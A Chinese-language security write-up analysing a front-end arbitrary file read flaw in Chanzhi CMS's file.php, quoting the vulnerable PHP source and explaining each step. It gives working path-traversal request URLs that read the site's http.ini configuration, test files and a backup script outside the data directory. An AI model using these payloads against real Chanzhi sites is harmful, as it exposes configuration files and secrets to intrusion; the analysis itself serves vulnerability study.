0x01 前言

这两天看到禅知这个CMS有一个前台的任意文件读取漏洞,就在此写一片分析文章。

0x02 环境

  1. 下载安装安装程序,这个CMS是封装起来的,连着Apache+MySQL一起打包成exe可执行程序。
  2. 安装也比较简单,傻瓜式安装。

0x03 漏洞复现

  1. 在网站根目录C:\xampp\chanzhi\www新建一个测试文件test.php
  2. 执行payload查看文件内容:http://localhost/file.php?pathname=../test.phpi&t=txt&o=source
  3. 执行payload来查看程序的配置文件:http://localhost/file.php?pathname=../http.ini&t=txt&o=source
  4. 跨目录读取文件(前提是有目录权限):http://localhost/file.php?pathname=../../bin/php/backup.php&t=txt&o=source

0x04 漏洞分析

漏洞文件:C:\xampp\chanzhi\www\file.php,从头开始往下分析:

  1. 1-19行是定义变量和判断是否GET传值过来,传全称或者简称都可以赋值给对应的变量,比如:http://192.168.86.130/file.php?f=../test.php&t=txt&o=source,pathnamef是对应的,下面的以此类推。 主要是19行,$_SERVER['SCRIPT_FILENAME']的值是C:/xampp/chanzhi/www/file.php,加上dirname函数后的值为C:/xampp/chanzhi/wwwrtrim函数是去掉/右边的值然后加上/data/之后$dataRoot的值为C:/xampp/chanzhi/www/data/
<?php
$pathname   = '';
$objectType = '';
$imageSize  = '';
$extension  = '';
$version    = '';

if(isset($_GET['pathname']))   $pathname   = $_GET['pathname'];
if(isset($_GET['objectType'])) $objectType = $_GET['objectType'];
if(isset($_GET['imageSize']))  $imageSize  = $_GET['imageSize'];
if(isset($_GET['extension']))  $extension  = $_GET['extension'];

if(isset($_GET['f'])) $pathname   = $_GET['f'];
if(isset($_GET['o'])) $objectType = $_GET['o'];
if(isset($_GET['s'])) $imageSize  = $_GET['s'];
if(isset($_GET['t'])) $extension  = $_GET['t'];
if(isset($_GET['v'])) $version    = $_GET['v'];

$dataRoot = rtrim(dirname($_SERVER['SCRIPT_FILENAME']), '/') . '/data/';
  1. 判断$objectType变量的值,如果传入的值不是sourceslide,那么进入else的代码段,但是会加上upload目录就不能实现任意文件读取了,所以传入source是最合适的。 $dataRoot赋值给$savePath然后和$pathname拼接起来赋值给$realPath变量
if($objectType == 'source' or $objectType == 'slide')
{
    if($objectType == 'slide' and !preg_match('/^slides\/[0-9_0-9]/', $pathname)) die('The file does not exist!');
    $savePath = $dataRoot;
}
else
{
    if(!preg_match('/^[0-9]{6}\/f_[a-z0-9]{32}/', $pathname)) die('The file does not exist!');
    $savePath = $dataRoot . 'upload/';
}

$realPath = $savePath . $pathname;
  1. 开头判断$realPath文件是否存在,接下来把$realPath赋值给$filePath$mime = getMimetype($extension);这一句是根据参数t或者extension传过来的值决定Content-Type的可用值。 getMimetype函数可以到123行查看,比如我们传过来的值$_GET['t']=txt,那么就会对应的Content-Type是:

header("Content-type: $mime");是定义HTTP头Content-type内容,$handle = fopen($filePath, "r");读取$filePath的文件。

if(!file_exists($realPath))
{
    $realPath = $savePath . (strpos($pathname, '.') === false ? $pathname : substr($pathname, 0, strpos($pathname, '.')));
}
$filePath = $realPath;
if($imageSize == 'smallURL')  $filePath = str_replace('f_', 's_', $realPath);
if($imageSize == 'middleURL') $filePath = str_replace('f_', 'm_', $realPath);
if($imageSize == 'largeURL')  $filePath = str_replace('f_', 'l_', $realPath);

if(!file_exists($filePath)) $filePath = $realPath;

if(!file_exists($filePath)) die('The file does not exist!');

$seconds = 3600 * 24 * 30; 
$expires = gmdate("D, d M Y H:i:s", time() + $seconds) . " GMT";
header("Expires: $expires"); 
header("Pragma: cache");
header("Cache-Control: max-age=$seconds");

$mime = getMimetype($extension);
header("Content-type: $mime");

$handle = fopen($filePath, "r");
  1. 还没结束,触发是靠while(!feof($handle)) echo fgets($handle);这一句,如果没有这一句就不会构成任意文件读取,所以每一步都很关键。
if($handle)
{
    if($mime == 'video/mp4')
    {
        $length = filesize($filePath); 
        $start  = 0;
        $end    = $length - 1;

        header("Accept-Ranges: 0-$length");
        if(isset($_SERVER['HTTP_RANGE']))
        {
            $cStart = $start;
            $cEnd   = $end;

            list(, $range) = explode('=', $_SERVER['HTTP_RANGE'], 2);
            if(strpos($range, ',') !== false)
            {
                header('HTTP/1.1 416 Requested Range Not Satisfiable');
                header("Content-Range: bytes $start-$end/$length");
                exit;
            }
            if($range == '-')
            {
                $cStart = $length - substr($range, 1);
            }
            else
            {
                $range = explode('-', $range);
                $cStart = $range[0];
                $cEnd   = (isset($range[1]) && is_numeric($range[1])) ? $range[1] : $length;
            }

            $cEnd = ($cEnd > $end) ? $end : $cEnd;
            if ($cStart > $cEnd || $cStart > $length - 1 || $cEnd >= $length)
            {
                header('HTTP/1.1 416 Requested Range Not Satisfiable');
                header("Content-Range: bytes $start-$end/$length");
                exit;
            }

            $start  = $cStart;
            $end    = $cEnd;
            $length = $end - $start + 1;
            fseek($handle, $start);
            header('HTTP/1.1 206 Partial Content');
        }
        header("Content-Range: bytes $start-$end/$length");
        header("Content-Length: " . $length);

        $buffer = 1024 * 8;
        while(!feof($handle) && ($p = ftell($handle)) <= $end)
        {
            if($p + $buffer > $end) $buffer = $end - $p + 1;
            set_time_limit(0);
            echo fread($handle, $buffer);
            flush();
        }

        fclose($handle);
        exit;
    }
    else
    {
        while(!feof($handle)) echo fgets($handle);
        fclose($handle);
    }
}
  1. 那么到这里就开始构思怎么样去构造Payload:
  • o参数必须为source
  • t参数必须对应的Content-type的值为text/plain
  • f参数文件的相对路径

那么我们最终的Payload为: http://192.168.86.130/file.php?f=../test.php&t=txt&o=source 或者 http://192.168.86.130/file.php?pathname=../test.php&extension=txt&objectType=source

0x05 参考

https://www.cnblogs.com/52fhy/p/5436673.html http://www.lsafe.org/?p=262